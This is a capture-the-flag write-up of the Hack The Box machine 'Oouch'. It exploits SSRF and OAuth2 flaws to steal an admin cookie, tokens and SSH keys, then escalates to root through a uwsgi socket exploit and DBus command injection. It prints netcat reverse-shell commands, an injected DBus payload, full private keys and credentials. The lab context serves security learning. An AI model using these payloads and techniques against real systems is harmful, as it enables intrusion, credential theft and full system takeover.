Box Information
Name | Oouch |
---|---|
IP | 10.10.10.177 |
OS | Linux |
Points | Hard(40) |
Recon
I ran nmap
to discover every open port and all the services running on these ports.
$ nmap -A -T4 -p- -oN recon/big.nmap 10.10.10.177
PORT | SERVICE | VERSION |
---|---|---|
21/tcp | ftp | vsftpd 2.0.8 or later |
22/tcp | ssh | OpenSSH 7.9p1 |
5000/tcp | http | nginx 1.14.2 |
8000/tcp | rtsp | ? |
ftp - TCP 21
I connected to the ftp server with anonymous authentication.
$ ftp 10.10.10.177
Connected to 10.10.10.177.
220 qtc's development server
Name (10.10.10.177:matesz): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
There was a file project.txt
so I downloaded it to my local machine.
ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.00 secs (246.6575 kB/s)
ftp>
I exited the ftp shell and catted out project.txt
.
$ cat project.txt
Flask -> Consumer
Django -> Authorization Server
http - TCP 5000
General site discovery
There is a login and a register page.
I quickly registered with asd:asd
creds.
When I hit Register I got an Internal Server Error
I also tried with longer creds(M4T35Z:123
)
- I got redirected to the login page and I used my creds to log in.
I got into /home
!
On /profile
the site mentions Connected-Accounts so maaybe I could connect accounts to this service.
Finding a blind ssrf
There is also a Contact page (/contact
) where I can send a message to the admin.
I sent a link to my machine as a message while I was hosting a http server and I got a request!!
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
I sent http://10.10.14.251/ayyo.html
as the message.
And the python http server returned.
10.10.10.177 - - [01/Jul/2020 15:28:55] code 404, message File not found
10.10.10.177 - - [01/Jul/2020 15:28:55] "GET /ayyo.html HTTP/1.1" 404 -
I tried to host a python revshell(I know the website runs on Flask)
Directory / File fuzzing on the main page
I used gobuster
in order to discover some files or directories on the server.
$ gobuster dir -u http://10.10.10.177:5000 -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.177:5000
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/07/01 14:03:42 Starting gobuster
===============================================================
/about (Status: 302)
/contact (Status: 302)
/documents (Status: 302)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/oauth (Status: 302)
/profile (Status: 302)
/register (Status: 200)
===============================================================
2020/07/01 14:04:11 Finished
===============================================================
/oauth
is interesting
- To connect account:
http://consumer.oouch.htb:5000/oauth/connect
- If it’s already connected. Visit for login:
http://consumer.oouch.htb:5000/oauth/login
I added this subdomain to my /etc/hosts
file.
10.10.10.177 oouch.htb consumer.oouch.htb
Monitoring requests
I started burpsuite
in order to catch all the requests being sent.
I clicked http://consumer.oouch.htb:5000/oauth/connect
.
- There is a new subdomain
authorization.oouch.htb
and it’s running on port 8000!
I added this to my /etc/hosts
too.
10.10.10.177 oouch.htb consumer.oouch.htb authorization.oouch.htb
- It’s a simple authorization server based on
OAuth2
. - There’s a link for login:
http://authorization.oouch.htb:8000/login/
- And there’s also one for a register page:
http://authorization.oouch.htb:8000/signup/
I registered. My creds: M4t35Z:M4t35Z@ayyo.com:4sdf12e4
And I also logged in.
I went back to http://consumer.oouch.htb:5000/oauth/connect
.
I captured the authorize req in burp.
My oauth token code:
/oauth/connect/token?code=RyWmNpKYCYvpiG10JjrLMAz1ORyZjy
At the end I got redirected to the profile page and I can see my account is connected!
Directory / File fuzz on authorization.oouch.htb
I ran gobuster on /oauth
.
$ gobuster dir -u http://authorization.oouch.htb:8000/oauth -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
/applications (Status: 301)
$ gobuster dir -u http://authorization.oouch.htb:8000/oauth -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
...
/register (Status: 301)
- I got a lot of (random) numbers and
/register
!
/oauth/applications/register
needs a username and a password:
Gaining a user shell
Exploiting blind ssrf
Admin on consumer.oouch.htb
There was an ssrf on the contact page. Maybe I can make a use of it by sending the connection request there in order to connect my account to the admin account on the webserver.
- Make a new account(not connected) on both subdomains(consumer, authorization(DO NOT login there after the acc is created))
- My creds:
M4t35Z2:M4t35Z2@ayyo.com:4sdf12e4
- Go to
http://consumer.oouch.htb:5000/oauth/connect
and stop the request and copy the oauth token code.
- My token:
/oauth/connect/token?code=YhJaPdFvD8kPTwKBp3K3PgYBNp9fSe
- Send the oauth token code on the consumer/contact page and wait 1 minute until it gets executed.
- The link I sent:
http://consumer.oouch.htb:5000/oauth/connect/token?code=YhJaPdFvD8kPTwKBp3K3PgYBNp9fSe
- Go to login
http://consumer.oouch.htb:5000/oauth/login
and hit authorize!
I went back to the profile page and I got logged into the admin account with my own oauth token.
Exploring the page as the administrator
I have new content available (/documents
):
dev_access.txt | develop:supermegasecureklarabubu123! -> Allows application registration. |
---|---|
o_auth_notes.txt | api/get_user -> user data. oauth/authorize -> Now also supports GET method. |
todo.txt | Chris mentioned all users could obtain my ssh key. Must be a joke… |
- I got creds
- I got an api endpoint
api/get_user
- I got an info about any1 can get
qtc
’s ssh key
USERNAME | PASSWORD |
---|---|
develop | supermegasecureklarabubu123! |
Admin on authorization.oouch.htb
There was a login page on authorization.oouch.htb:8000/oauth/applications/register/ so I tried to log in with the new creds(develop:supermegasecureklarabubu123!
).
Making an app
- I can register an app on this page.
- There is a redirect uri option.
Let’s test the redirect uri if it’s my ip.
Name | ayyo |
---|---|
Client id | YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp |
Client secret | GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk |
Client type | (I chose Public) Public / Confidental |
Authorization grant type | (I chose Authorization code) Authorization code / Implicit / Resource owner password-based / Client credentials |
Redirect uris | http://10.10.14.251/ |
I hit save and got this page:
http://authorization.oouch.htb:8000/oauth/applications/3/
- My app’s id is 3
Testing if it works
https://dhavalkapil.com/blogs/Attacking-the-OAuth-Protocol/
https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
https://github.com/topavankumarj/Vulnerable-OAuth2.0-Application
From microsoft’s docs:
// Line breaks for legibility only
https://login.microsoftonline.com/{tenant}/oauth2/v2.0/authorize?
client_id=6731de76-14a6-49ae-97bc-6eba6914391e
&response_type=code
&redirect_uri=http%3A%2F%2Flocalhost%2Fmyapp%2F
&response_mode=query
&scope=openid%20offline_access%20https%3A%2F%2Fgraph.microsoft.com%2Fmail.read
&state=12345
So my url will be:
http://authorization.oouch.htb:8000/oauth/authorize?
client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp
&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk
&response_type=code
&redirect_uri=http://10.10.14.251/
&grant_type=authorization_code
In 1 line:
http://authorization.oouch.htb:8000/oauth/authorize?client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk&response_type=code&redirect_uri=http://10.10.14.251/&grant_type=authorization_code
I started an nc
listener on port 80.
$ sudo nc -lvnp 80
I went to the url and hit Authorize
.
- It worked!!
SSRF to steal qtc’s cookie from the authorization subdomain
So I have a working appurl that redirects the req to my local port 80. If I can execute it with the SSRF and the request returns to my terminal there could be a cookie for the logged in admin account.
I sent the link and I got the cookie on my terminal:
Cookie: sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b;
I went back to authorization.oouch.htb:8000/home/ and I changed my sessionid
cookie to the admin’s one with a firefox extension(cookie editor). Then I hit F5 to reload the page with the new cookie.
- It says I’m logged in as qtc!
Making use of api/get_user
On the consumer
subdomain when I was logged in as qtc api/get_user
got mentioned on the /documents
page.
This endpoint is actually http://authorization.oouch.htb:8000/api/get_user
Getting qtc’s token code
I have a working ssrf and I can freely edit my oauth app to my needs.
I searched for oauth api/get_user
in ddg and found this page: oauth.net/articles/authentication/.
From there I started exploring the main page and found www.oauth.com/oauth2-servers/access-tokens/client-credentials/.
POST /token HTTP/1.1
Host: authorization-server.com
grant_type=client_credentials
&client_id=xxxxxxxxxx
&client_secret=xxxxxxxxxx
If I’m logged into authorization.oouch.htb:8000/ I see /oauth/token
endpoint is mentioned and the article talks about this too and If i change my app to use Client credentials
instead of Authorization code
I can get my token code wich is actually qtc’s token because I’m logged in as qtc on the authorization
domain.
I changed my app(I used firefox containers because if I was logged in as qtc I wasn’t able to reach my app’s edit page):
Authorization grant type: Client credentials
My req will be:
POST /token HTTP/1.1
Host: authorization-server.com
grant_type=client_credentials
&client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp
&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk
I made the request in burp repeater.
- I clicked on
/oauth/token
- I sent the request to repeater
- I changed the request type to POST (RMB->change Request Method)
- I pasted my stuff
- I removed the linebreaks from the end of the lines
- I sent the request and GOT the ACCESS TOKEN!
{
"access_token": "X66HhtrARTZaRzKAsccni43GhNSttK",
"expires_in": 600,
"token_type": "Bearer",
"scope": "read write"
}
Curl alternative:
curl -X POST http://authorization.oouch.htb:8000/oauth/token/ \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b' \
-d 'grant_type=client_credentials&client_id=YmXnlh3J1NcIqLrskDhbR1vIooP2KagJwp8U7Avp&client_secret=GVqof6nXdCP9BAEFqVNBItQqdzgF3Kc5A1j0XPjbl7EvXcWXJotCqfdoIJmeCfH8mS6nij1UPvIYaTMyzZ2y76GyqYk8MA7dpJ98azD7lDvY4tqNgFbo337FblzsanQk'
Getting api/get_user working correctly
I have the access token so I went to authorization.oouch.htb:8000/api/get_user.
I captured this request and added the access_token parameter to it in repeater.
GET /api/get_user?access_token=X66HhtrARTZaRzKAsccni43GhNSttK
And the response was:
{"username": "qtc", "firstname": "", "lastname": "", "email": "qtc@nonexistend.nonono"}
- the token is always changing btw
Curl alternative:
curl -X GET 'http://authorization.oouch.htb:8000/api/get_user?access_token=2bzoOY7syOTcOJu9K3r3yQ8vFWOaSv' \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b'
Guessing the ssh endpoint
I started guessing api endpoints for ssh and get_ssh
worked!
GET /api/get_ssh?access_token=N528UPm4Kcp8pynlc31veW6Y8Ia7YU
The response was an ssh key:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Curl alternative:
curl -X GET 'http://authorization.oouch.htb:8000/api/get_ssh?access_token=2bzoOY7syOTcOJu9K3r3yQ8vFWOaSv' \
-b 'sessionid=qap4u0uayxsaxrgd5zbs9ss3njgljz6b'
SSH LOGIN
And I logged into ssh as qtc
with this key.
$ chmod 600 files/qtc_ssh_key
$ ssh -i files/qtc_ssh_key qtc@10.10.10.177
- It worked!
I was able to cat out the user.txt
at this point.
$ cat /home/qtc/user.txt
4e89------------------------c174
Privilege Escalation
Enumeration as qtc
Manual findings
Firstly, I manually explored qtc’s home directory.
I found .note.txt
.
qtc@oouch:~$ cat .note.txt
Implementing an IPS using DBus and iptables == Genius?
I saved /home/qtc/.ssh/id_rsa
from the box because it was different than the web one.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA2oh2lzXVMy8Z5ZhCNcvg1kUIxBCzQPhnCtbxEF5gBWJvX+hrm21r
3ZLekJIL1k74exZyzOVOLHXyjxb+pjWWcB2fZzcQeIEfuQeRBjiM1/g/rg5nW3t6/jBPBO
vLdWlHMCxG2usRfjxK0LohAQnYHB+NOXWDApbv2qXHDvqLoA/kKVjhYRzRPVTlh2Q9/vqE
TSRUv2YIfCGTi1ND553pywvGStwq4rUXIcxtEBysYFf+rTD5psyCpNAJO4osWivIc67Snz
zQiN0D3vJFxtSmJzKKPJmenNwg1Fnr5XQCvptYu65bjkTUcJ+q+CgBsHT9qlHbTEdrqOwj
pdrebhrbmLQUa4QGXv0ut+3/1TK6z6vPtge3W/p3tap+Fsg/7D8X+K32Q8Jb1yenLXyjGF
K1evXjLSCmolNxWBql03wGjm5haztPvk7wf2XB+IdtXnVTwp9hyeKR1BWWmAxFCndh6OtT
dHIBlGFlnPpnAqAsciy0mjiQL9r7YxK1fWJMixljAAAFiA2O9SwNjvUsAAAAB3NzaC1yc2
EAAAGBANqIdpc11TMvGeWYQjXL4NZFCMQQs0D4ZwrW8RBeYAVib1/oa5tta92S3pCSC9ZO
+HsWcszlTix18o8W/qY1lnAdn2c3EHiBH7kHkQY4jNf4P64OZ1t7ev4wTwTry3VpRzAsRt
rrEX48StC6IQEJ2BwfjTl1gwKW79qlxw76i6AP5ClY4WEc0T1U5YdkPf76hE0kVL9mCHwh
k4tTQ+ed6csLxkrcKuK1FyHMbRAcrGBX/q0w+abMgqTQCTuKLForyHOu0p880IjdA97yRc
bUpicyijyZnpzcINRZ6+V0Ar6bWLuuW45E1HCfqvgoAbB0/apR20xHa6jsI6Xa3m4a25i0
FGuEBl79Lrft/9Uyus+rz7YHt1v6d7WqfhbIP+w/F/it9kPCW9cnpy18oxhStXr14y0gpq
JTcVgapdN8Bo5uYWs7T75O8H9lwfiHbV51U8KfYcnikdQVlpgMRQp3YejrU3RyAZRhZZz6
ZwKgLHIstJo4kC/a+2MStX1iTIsZYwAAAAMBAAEAAAGAHPvEXsGxCRzSHnVXMrNbmo+FXh
uo6pEHeZSQXE9oBM7NXrcArpiQmc6E3j/Aeif3JLwRdcNj3tm11eyC0aCB11TWc2YGNTVK
88thHKYbZ/lw2LDoXGXAJj5Z/JkZXvUbj/QPYbGTnF56vbwx7GVV2EUHAfvn6EwEe8dI41
+vbQcuh51WJv8fcTb1SkOtRUgMi/6pjskFjxEU9IGSnAGBpIBnSD5zIaZK7xyhymVDJ3QE
Pwwj0E+HdDxzPQZSY5MywAOV6Zjnp+xmH/f4mCoZD5pvrS37IUCxn/YfyS+mbX/d7ktr3N
5oW2AqmefgxeoLi4sOuG0QKTB9m/SSszgdQIResrjyUZ8zT2fit3uTF3PiJ0vMpePR1Mir
iV/0I/mAj/ltbV8Rw8Y8xfRtbwWdwo93pVq2OwnFBwjn9S33cctB11xzV5kalbs8wHBilF
YANrxNwOPlmQLHml1hD155y8+R8pfjGqDV+rkVjnRr8zpbZ620LqI5t1FyxlSs0U/BAAAA
wFZ9hd5CMep215pK70sm40vcdm5A0oouxcUA7eJ5uHlsSN7R04yGsv8ljZz+2JXUFtu5kQ
bpDsSZuwN9svPwnqSF/21wO+3Tz/ohGR1j5wolcF54Kh0P5f/HoLlnJLMZvI+k3FRFPfaF
MYNp/Fvyj+Bi05nPgqb/yGQNx4veLGN0el0ffPqpquP+deljnU5jrwA/BUonh9tX9P/yP9
TO/iH8RPOjJFMgh1zXNElNWCitEuOBU855xXnedqGBhpea2gAAAMEA8cgPi7OuyBWcQIj8
FK4GVupY6k6PfulC/WAca3xKIy0QTUCJrv1j6HRhYej8+ckVMOw9v4m8EZEGOkc7MYkQLT
w2KgrCR4pDIoYjq/sBr6b6FKudSLM3Rw/c8vHnczsQYCRdNdX4duT/j2uloIshKE+3trBt
PKYzWul3Yalo+o3eu1yaCcdkOybD+Jm9uxf6KjB7Zpu9Mxxx67DyIGlLJVIHMOWPotuM9F
IZ9bPoRtHCFy0pqhQzWK9Mj5u3AQY5AAAAwQDnYme9N1XM6WQxBbjncHRo3C69r8bsHtex
wWMcrd2u62nTWhUD2dc1kbk1kcJzrDfy5lCEgCwMrMrSmIHnEyKysfir++LSuKLRgyEZIM
rTPL8nIkJQ/ykWhtP5NIxtxoRuL26tqI4sxw51n1Jsu8aBJc9t4vudDBOr9uU5N619LZGS
WZ+OOm+sVgJ8a2rvGVuTlngzZb2/PTgUAAnZsXTTlKbLrq17IEbS3F1SX0uaBzmb3qMREv
5sUAcJH6xV/HsAAAAOcGVudGVzdGVyQGthbGkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
Linpeas
Processes:
root 3112 0.0 1.2 1186204 50132 ? Ssl 06:35 0:12 /usr/bin/containerd
root 3113 0.0 2.5 1349472 103456 ? Ssl 06:35 0:15 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 3595 0.0 0.1 548976 7700 ? Sl 06:36 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 5000 -container-ip 172.18.0.2 -container-port 5000
root 3621 0.0 0.2 548720 9688 ? Sl 06:36 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 8000 -container-ip 172.18.0.4 -container-port 8000
www-data 4199 0.0 1.2 70904 49096 ? S 06:36 0:00 uwsgi --ini uwsgi.ini --chmod-sock=666
- Docker is running.
- Docker’s ip range is
172.18.0.x
- uwsgi is running as
www-data
Network:
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:39:35:6d:ea brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-cc6c78e0c7d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:9a:d3:bf:67 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-cc6c78e0c7d0
valid_lft forever preferred_lft forever
inet6 fe80::42:9aff:fed3:bf67/64 scope link
valid_lft forever preferred_lft forever
172.18.0.4 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:04 DELAY
172.18.0.2 dev br-cc6c78e0c7d0 lladdr 02:42:ac:12:00:02 DELAY
- the host’s docker ip is
172.17.0.1
- the addresses of the containers are
172.18.0.x
SSH into a docker container
Discovering docker hosts
I made a 1 liner to check if a host is up (0) or down (1):
qtc@oouch:/dev/shm$ i=0; while [ $i -le 10 ]; do ping -c 1 172.18.0.$i >/dev/null ; echo 172.18.0.$i: $?; i=$((i + 1));done
Do you want to ping broadcast? Then -b. If not, check your local firewall rules.
172.18.0.0: 2
172.18.0.1: 0
172.18.0.2: 0
172.18.0.3: 0
172.18.0.4: 0
172.18.0.5: 0
172.18.0.6: 1
172.18.0.7: 1
172.18.0.8: 1
172.18.0.9: 1
172.18.0.10: 1
Btw If u want the script in a file:
|
|
- it returns the same
Available hosts are:
- 172.18.0.1
- 172.18.0.2
- 172.18.0.3
- 172.18.0.4
- 172.18.0.5
Connecting to a docker host
I used ssh and the key I found in /home/qtc/.ssh/id_rsa
.
I was able to log into 1 host (172.18.0.2) with this key!
$ ssh -i /home/qtc/.ssh/id_rsa qtc@172.18.0.2
Enumeration of the docker container
There is a directory /code
which contained files owned by root.
qtc@aeb4525789d8:/code$ ls -l
total 44
-rw-r--r-- 1 root root 1072 Feb 11 17:34 Dockerfile
-r-------- 1 root root 568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root 325 Feb 11 17:34 config.py
-rw-r--r-- 1 root root 23 Feb 11 17:34 consumer.py
-r-------- 1 root root 2602 Feb 11 17:34 key
drwxr-xr-x 4 root root 4096 Feb 11 17:34 migrations
-rw-r--r-- 1 root root 724 Feb 11 17:34 nginx.conf
drwxr-xr-x 5 root root 4096 Feb 11 17:34 oouch
-rw-r--r-- 1 root root 241 Feb 11 17:34 requirements.txt
-rwxr-xr-x 1 root root 89 Feb 11 17:34 start.sh
-rw-rw-rw- 1 root root 0 Jul 2 15:39 urls.txt
-rw-r--r-- 1 root root 163 Feb 11 17:34 uwsgi.ini
Interesting contents:
config.py:
SQLALCHEMY_DATABASE_URI = 'mysql://qtc:clarabibi2019!@database.consumer.oouch.htb/Consumer'
SECRET_KEY = os.environ.get('SECRET_KEY') or 'klarabubuklarabubuklarabubuklarabubu'
$ cat uwsgi.ini
[uwsgi]
module = oouch:app
uid = www-data
gid = www-data
master = true
processes = 10
socket = /tmp/uwsgi.socket
chmod-sock = 777
vacuum = true
die-on-term = true
- There is a
/tmp/uwsgi.socket
file.
oouch/routes.py:
# First apply our primitive xss filter
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
- dbus was previously mentioned in
/home/qtc/.note.txt
- dbus interface is
htb.oouch.Block
On the main box there is a /etc/dbus-1/system.d/htb.oouch.Block.conf
file!
$ cat htb.oouch.Block.conf
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>
<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>
</busconfig>
- user
www-data
can be a sender and a receiver too
uwsgi exploit
After some googling for uwsgi exploit I found this github repo: https://github.com/wofeiwo/webcgi-exploits
There was a python exploit POC script
I grabbed a static nc
binary (from github.com/yunchih/static-binaries) and transfered the exploit and nc to the server with wget
and python
’s http.server
module.
After all that I trasfered the 2 files to the container’s /tmp/.ayy_d
directory with scp
.
$ scp * qtc@172.18.0.2:/tmp/.ayy_d/
I ran the exploit(while I was listening on the host(172.17.0.1) with the nc I downloaded):
$ python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/.ayy_d/nc -e /bin/bash 172.17.0.1 1337"
- but the exploit failed for the first time.
- It needed a little edit(I removed the
import bytes
from the functionsz
)
Correct function:
def sz(x):
s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
s = bytes.fromhex(s)
return s[::-1]
- now I had to download and scp again…
I stared listening with nc on the host (as qtc) and I started the exploit!
I waited some time (~15 sec) and I got a shell as www-data
!
qtc@oouch:/tmp/.ayy$ ./nc -lvnp 1337
Connection from 172.18.0.2:50658
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Using DBus for root privesc
Firstly I made my www-data
shell a tty.
python -c 'import pty;pty.spawn("/bin/bash")'
I read the manual and some resources from the web for dbus.
$ man dbus-send
I used DBus and my nc binary to make a revshell to my local machine.
$ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;/tmp/.ayy/nc -e /bin/bash 10.10.14.251 1338;"
After some seconds my nc returned:
connect to [10.10.14.251] from (UNKNOWN) [10.10.10.177] 47164
id
uid=0(root) gid=0(root) groups=0(root)
I was able to cat out /root/root.txt
:
cat /root/root.txt
d434------------------------d030